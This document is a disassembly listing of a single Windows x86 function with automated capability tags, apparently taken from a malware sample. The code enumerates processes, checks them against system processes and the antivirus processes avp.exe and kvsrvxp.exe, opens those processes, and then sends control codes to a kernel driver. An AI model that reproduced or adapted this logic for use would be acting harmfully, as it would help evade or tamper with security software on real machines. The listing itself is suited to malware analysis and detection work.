Function at 0x401230
Capabilities:
Check for time delay via gettickcount
Check os version
Enumerate processes
Get common file path
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd08
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x88]
mov edx, dword [0x40f1a8]
mov dword [esp + 0x84], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [str._sSmss.exe]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x7c], edx
mov edx, dword [0x40f198]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x78], ecx
mov ecx, dword [str._sCsrss.exe]
mov dword [esp + 0x28], eax
mov eax, dword [0x40f1ac]
mov dword [esp + 0x5c], edx
mov edx, dword [str._sSvchost.exe]
mov dword [esp + 0x80], eax
mov eax, dword [0x40f19c]
mov dword [esp + 0x58], ecx
mov cl, byte [0x40f1a0]
mov dword [esp + 0x38], edx
mov dx, word [0x40f190]
mov dword [esp + 0x60], eax
mov eax, dword [0x40f188]
mov byte [esp + 0x64], cl
mov ecx, dword [0x40f18c]
mov word [esp + 0x44], dx
mov edx, dword [0x40f178]
mov dword [esp + 0x3c], eax
mov al, byte [0x40f192]
mov dword [esp + 0x40], ecx
mov ecx, dword [str._s_audiodg.exe]
mov dword [esp + 0x4c], edx
mov dl, byte [0x40f182]
mov byte [esp + 0x46], al
mov eax, dword [0x40f17c]
mov dword [esp + 0x48], ecx
mov cx, word [0x40f180]
mov byte [esp + 0x56], dl
mov edx, dword [0x40f16c]
mov dword [esp + 0x50], eax
mov eax, dword [str._sLsass.exe]
mov word [esp + 0x54], cx
mov ecx, dword [0x40f168]
mov dword [esp + 0x70], edx
mov edx, dword [0x40f158]
mov dword [esp + 0x68], eax
mov al, byte [0x40f170]
mov dword [esp + 0x6c], ecx
mov ecx, dword [str._s_services.exe]
mov dword [esp + 0x128], edx
mov edx, dword [str._sdwm.exe]
mov byte [esp + 0x74], al
mov eax, dword [0x40f15c]
mov dword [esp + 0x124], ecx
mov ecx, dword [0x40f160]
mov dword [esp + 0x2c], edx
mov dl, byte [0x40f152]
mov dword [esp + 0x12c], eax
mov eax, dword [0x40f14c]
mov dword [esp + 0x130], ecx
mov cx, word [0x40f150]
mov byte [esp + 0x36], dl
mov dl, byte [0x422abc]
mov dword [esp + 0x30], eax
mov word [esp + 0x34], cx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2f1]
mov byte [esp + 0x2f0], dl
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xc15]
mov byte [esp + 0xc14], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x4f9]
mov byte [esp + 0x4f8], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xb11]
mov byte [esp + 0xb10], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5fd]
mov byte [esp + 0x5fc], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x909]
mov byte [esp + 0x908], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xa0d]
mov byte [esp + 0xa0c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x805]
mov byte [esp + 0x804], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x1cc]
mov dword [esp + 0x1c8], 0x128
rep stosd dword es:[edi], eax
mov ecx, 0x24
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x134]
mov dword [esp + 0x134], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x138], 6
jne 0x4014db
push str.QueryFullProcessImageNameA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x422ab0], eax
mov edx, dword [esp + 0x13c]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x84]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x138]
lea eax, [esp + 0x2f0]
push 0x104
push eax
mov dword [esp + 0x8c], ecx
mov dword [esp + 0x90], edx
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x2f0]
lea edx, [esp + 0x78]
push ecx
push edx
lea eax, [esp + 0xc1c]
push 0x103
push eax
call fcn.004068e4
lea ecx, [esp + 0x300]
lea edx, [esp + 0x68]
push ecx
push edx
lea eax, [esp + 0x510]
push 0x103
push eax
call fcn.004068e4
lea ecx, [esp + 0x310]
lea edx, [esp + 0x58]
push ecx
push edx
lea eax, [esp + 0xb38]
push 0x103
push eax
call fcn.004068e4
lea ecx, [esp + 0x320]
lea edx, [esp + 0x78]
push ecx
push edx
lea eax, [esp + 0x634]
push 0x103
push eax
call fcn.004068e4
add esp, 0x40
lea ecx, [esp + 0x2f0]
lea edx, [esp + 0x68]
lea eax, [esp + 0x908]
push ecx
push edx
push 0x103
push eax
call fcn.004068e4
lea ecx, [esp + 0x300]
lea edx, [esp + 0x134]
push ecx
push edx
lea eax, [esp + 0xa24]
push 0x103
push eax
call fcn.004068e4
lea ecx, [esp + 0x310]
lea edx, [esp + 0x4c]
push ecx
push edx
lea eax, [esp + 0x82c]
push 0x103
push eax
call fcn.004068e4
add esp, 0x30
lea ecx, [esp + 0x2f0]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4019c8
lea edx, [esp + 0x1c8]
push edx
push ebp
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4019c1
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [esp + 0x94]
cmp ecx, 0x20
jae 0x4019c1
mov eax, dword [esp + 0x1d0]
cmp eax, 4
je 0x40166d
cmp eax, 8
jne 0x401683
mov dword [esp + ecx*4 + 0x98], eax
mov ecx, dword [esp + 0x94]
inc ecx
mov dword [esp + 0x94], ecx
cmp ecx, 0x20
jae 0x4019c1
lea ecx, [esp + 0x700]
push 0x104
push ecx
push eax
mov byte [esp + 0x70c], bl
call fcn.004010d0
add esp, 0xc
test eax, eax
je 0x4019ab
lea edx, [esp + 0x700]
push 0x5c
push edx
call fcn.00406a40
mov esi, eax
lea eax, [esp + 0x2f8]
push 0x104
lea ecx, [esp + 0x400]
push eax
lea edx, [esp + 0x710]
push ecx
push edx
call fcn.00401160
lea eax, [esp + 0x40c]
push 0x104
lea ecx, [esp + 0xc30]
push eax
push ecx
call fcn.0040d000
add esp, 0x24
test eax, eax
jne 0x40172e
mov edx, dword [esp + 0x94]
mov eax, dword [esp + 0x1d0]
mov dword [esp + edx*4 + 0x98], eax
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x4019ab
lea ecx, [esp + 0x3f4]
push 0x104
lea edx, [esp + 0x4fc]
push ecx
push edx
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x401778
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x1d0]
mov dword [esp + eax*4 + 0x98], ecx
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x4019ab
lea edx, [esp + 0x3f4]
push 0x104
lea eax, [esp + 0xb14]
push edx
push eax
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x4017c2
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x1d0]
mov dword [esp + ecx*4 + 0x98], edx
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x4019ab
lea eax, [esp + 0x3f4]
push 0x104
lea ecx, [esp + 0x90c]
push eax
push ecx
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x40180c
mov edx, dword [esp + 0x94]
mov eax, dword [esp + 0x1d0]
mov dword [esp + edx*4 + 0x98], eax
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x4019ab
cmp dword [esp + 0x138], 6
jne 0x4018b8
lea ecx, [esp + 0x3f4]
push 0x104
lea edx, [esp + 0x600]
push ecx
push edx
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x401864
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x1d0]
mov dword [esp + eax*4 + 0x98], ecx
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x4019ab
cmp dword [esp + 0x138], 6
jne 0x4018b8
lea edx, [esp + 0x3f4]
push 0x104
lea eax, [esp + 0x808]
push edx
push eax
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x4018b8
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x1d0]
mov dword [esp + ecx*4 + 0x98], edx
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x4019ab
lea eax, [esp + 0x3f4]
push 0x104
lea ecx, [esp + 0xa10]
push eax
push ecx
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x401902
mov edx, dword [esp + 0x94]
mov eax, dword [esp + 0x1d0]
mov dword [esp + edx*4 + 0x98], eax
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x4019ab
cmp esi, ebx
je 0x4019ab
inc esi
push 7
push str.avp.exe
push esi
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x401959
mov ecx, dword [esp + 0x1d0]
push ecx
push ebx
push 0x21
call edi
cmp eax, ebx
jne 0x4019a4
mov edx, dword [esp + 0x1d0]
mov eax, dword [esp + 0x94]
or edx, 1
mov dword [esp + eax*4 + 0x98], edx
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x4019ab
push 0xb
push str.kvsrvxp.exe
push esi
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x4019ab
mov ecx, dword [esp + 0x1d0]
push ecx
push ebx
push 1
call edi
cmp eax, ebx
jne 0x4019a4
mov edx, dword [esp + 0x94]
mov eax, dword [esp + 0x1d0]
mov dword [esp + edx*4 + 0x98], eax
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x4019ab
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x1c8]
push ecx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40164c
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [esp + 0x11c], eax
call esi
lea edx, [esp + 0x84]
mov dword [esp + 0x120], eax
push 0x98
push edx
lea eax, [esp + 0x124]
push 1
push eax
call fcn.00401110
add esp, 0x10
mov edi, dword [esp + 0xd1c]
lea ecx, [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
push ecx
push ebx
push ebx
lea edx, [esp + 0x94]
push 0xa0
push edx
push 0x22e484
push edi
call ebp
test eax, eax
jne 0x401a5c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push str.DeviceIoControl_init__failed__LastError___d_n
call fcn.004043a0
mov eax, dword [esp + 0xd28]
add esp, 8
mov dword [eax], esi
pop edi
pop esi
pop ebp
mov eax, 0xc9
pop ebx
add esp, 0xd08
ret
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], 0xa00000a
call esi
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x14]
mov dword [esp + 0x24], eax
push 0x10
push edx
lea eax, [esp + 0x2c]
push 1
push eax
mov dword [esp + 0x38], ecx
call fcn.00401110
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ebx
push ecx
push ebx
push ebx
push 0x18
push edx
push 0x22e488
push edi
call ebp
test eax, eax
jne 0x401ae6
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov ecx, dword [esp + 0xd20]
mov dword [ecx], eax
call esi
push eax
push str._LaunchDriverNt_DeviceIoControl_start__failed__LastError___d_n
call fcn.004043a0
add esp, 8
mov eax, 0xca
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd08
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xd08
ret